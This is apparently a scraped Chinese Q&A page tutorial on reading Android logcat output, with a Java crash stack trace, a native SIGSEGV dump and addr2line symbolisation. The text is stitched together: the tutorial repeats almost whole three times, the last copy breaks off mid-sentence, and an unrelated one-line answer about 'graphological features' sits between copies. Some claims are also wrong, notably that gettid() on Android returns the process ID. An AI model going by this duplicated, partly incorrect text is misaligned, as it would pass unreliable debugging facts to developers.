是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:pid=1760 uid=10065 gids={50065, 1028}D/AndroidRuntime( 1760): Shutting downVMW/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)E/AndroidRuntime( 1760): FATALEXCEPTION: mainE/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo{com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)E/AndroidRuntime( 1760): ... 11moreI/Process ( 1760): Sending signal.PID: 1760 SIG: 9W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivityJave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36msI/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocationD/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34msI/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******I/DEBUG ( 127):Build fingerprint:"Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"I/DEBUG ( 127):Revision: "9"I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2cI/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1cI/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000I/DEBUG ( 127): d10 0000000000000000 d110000000000000000I/DEBUG ( 127): d120000000000000000 d130000000000000000I/DEBUG ( 127): d14 0000000000000000 d150000000000000000I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fcI/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000I/DEBUG ( 127): d20 0000000000000000 d210000000000000000I/DEBUG ( 127): d22 0000000000000000 d230000000000000000I/DEBUG ( 127): d24 0000000000000000 d250000000000000000I/DEBUG ( 127): d26 0000000000000000 d270000000000000000I/DEBUG ( 127): d28 0000000000000000 d290000000000000000I/DEBUG ( 127): d30 0000000000000000 d310000000000000000I/DEBUG ( 127): scr 00000010I/DEBUG ( 127):I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testappI/DEBUG ( 127):I/DEBUG ( 127):stack:I/DEBUG ( 127): beb4aaa8 000000c8 I/DEBUG ( 127): beb4aaac 00000000 I/DEBUG ( 127): beb4aab0 00000000 I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linkerI/DEBUG ( 127): beb4aab8 00001000 I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testappI/DEBUG ( 127): beb4aac8 00000000 I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testappI/DEBUG ( 127): beb4aad0 beb4ab24 [stack]I/DEBUG ( 127): beb4aad4 00000001 I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]I/DEBUG ( 127): beb4aadc 00000000 I/DEBUG ( 127): beb4aae0 df0027ad I/DEBUG ( 127): beb4aae4 00000000 I/DEBUG ( 127): #00 beb4aae8 00000000 I/DEBUG ( 127): ........ ........I/DEBUG ( 127): #01 beb4aae8 00000000 I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]I/DEBUG ( 127): beb4aaf4 00000000 I/DEBUG ( 127): beb4aaf8 00000000 I/DEBUG ( 127): beb4aafc 00000000 I/DEBUG ( 127): beb4ab00 00000000 I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testappI/DEBUG ( 127):这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:pid: 2102, tid: 2102,name: testapp >>>./testapp <<<从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:#./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108剩余三个地址翻译如下:main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361_start libgcc2.c:0利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。了解了如何分析普通的Log文件,下面让我们再看看如何分析ANR的Log文件。

如何分析Android的Log

首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。[ 12-09 21:39:35.510 396: 416 I/ActivityManager ]Start procnet.coollet.infzmreader:umengService_v1 for servicenet.coollet.infzmreader/com.umeng.message.UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}[ 12-09 21:39:35.518 21745:21745I/dalvikvm ]Turning on JNI app bug workarounds fortarget SDK version 8...[ 12-09 21:39:35.611 21745:21745D/AgooService ]onCreate()我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:pid=1760 uid=10065 gids={50065, 1028}D/AndroidRuntime( 1760): Shutting downVMW/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)E/AndroidRuntime( 1760): FATALEXCEPTION: mainE/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo{com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)E/AndroidRuntime( 1760): ... 11moreI/Process ( 1760): Sending signal.PID: 1760 SIG: 9W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivityJave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36msI/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocationD/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34msI/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******I/DEBUG ( 127):Build fingerprint:"Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"I/DEBUG ( 127):Revision: "9"I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2cI/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1cI/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000I/DEBUG ( 127): d10 0000000000000000 d110000000000000000I/DEBUG ( 127): d120000000000000000 d130000000000000000I/DEBUG ( 127): d14 0000000000000000 d150000000000000000I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fcI/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000I/DEBUG ( 127): d20 0000000000000000 d210000000000000000I/DEBUG ( 127): d22 0000000000000000 d230000000000000000I/DEBUG ( 127): d24 0000000000000000 d250000000000000000I/DEBUG ( 127): d26 0000000000000000 d270000000000000000I/DEBUG ( 127): d28 0000000000000000 d290000000000000000I/DEBUG ( 127): d30 0000000000000000 d310000000000000000I/DEBUG ( 127): scr 00000010I/DEBUG ( 127):I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testappI/DEBUG ( 127):I/DEBUG ( 127):stack:I/DEBUG ( 127): beb4aaa8 000000c8 I/DEBUG ( 127): beb4aaac 00000000 I/DEBUG ( 127): beb4aab0 00000000 I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linkerI/DEBUG ( 127): beb4aab8 00001000 I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testappI/DEBUG ( 127): beb4aac8 00000000 I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testappI/DEBUG ( 127): beb4aad0 beb4ab24 [stack]I/DEBUG ( 127): beb4aad4 00000001 I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]I/DEBUG ( 127): beb4aadc 00000000 I/DEBUG ( 127): beb4aae0 df0027ad I/DEBUG ( 127): beb4aae4 00000000 I/DEBUG ( 127): #00 beb4aae8 00000000 I/DEBUG ( 127): ........ ........I/DEBUG ( 127): #01 beb4aae8 00000000 I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]I/DEBUG ( 127): beb4aaf4 00000000 I/DEBUG ( 127): beb4aaf8 00000000 I/DEBUG ( 127): beb4aafc 00000000 I/DEBUG ( 127): beb4ab00 00000000 I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testappI/DEBUG ( 127):这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:pid: 2102, tid: 2102,name: testapp >>>./testapp <<<从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:#./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108剩余三个地址翻译如下:main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361_start libgcc2.c:0利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。

graphological features是什么意思

graphological features笔迹特征望采纳,谢谢

如何实现一个android的log自动化分析工具

首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。[ 12-09 21:39:35.510 396: 416 I/ActivityManager ]Start procnet.coollet.infzmreader:umengService_v1 for servicenet.coollet.infzmreader/com.umeng.message.UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}[ 12-09 21:39:35.518 21745:21745I/dalvikvm ]Turning on JNI app bug workarounds fortarget SDK version 8...[ 12-09 21:39:35.611 21745:21745D/AgooService ]onCreate()我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。Android比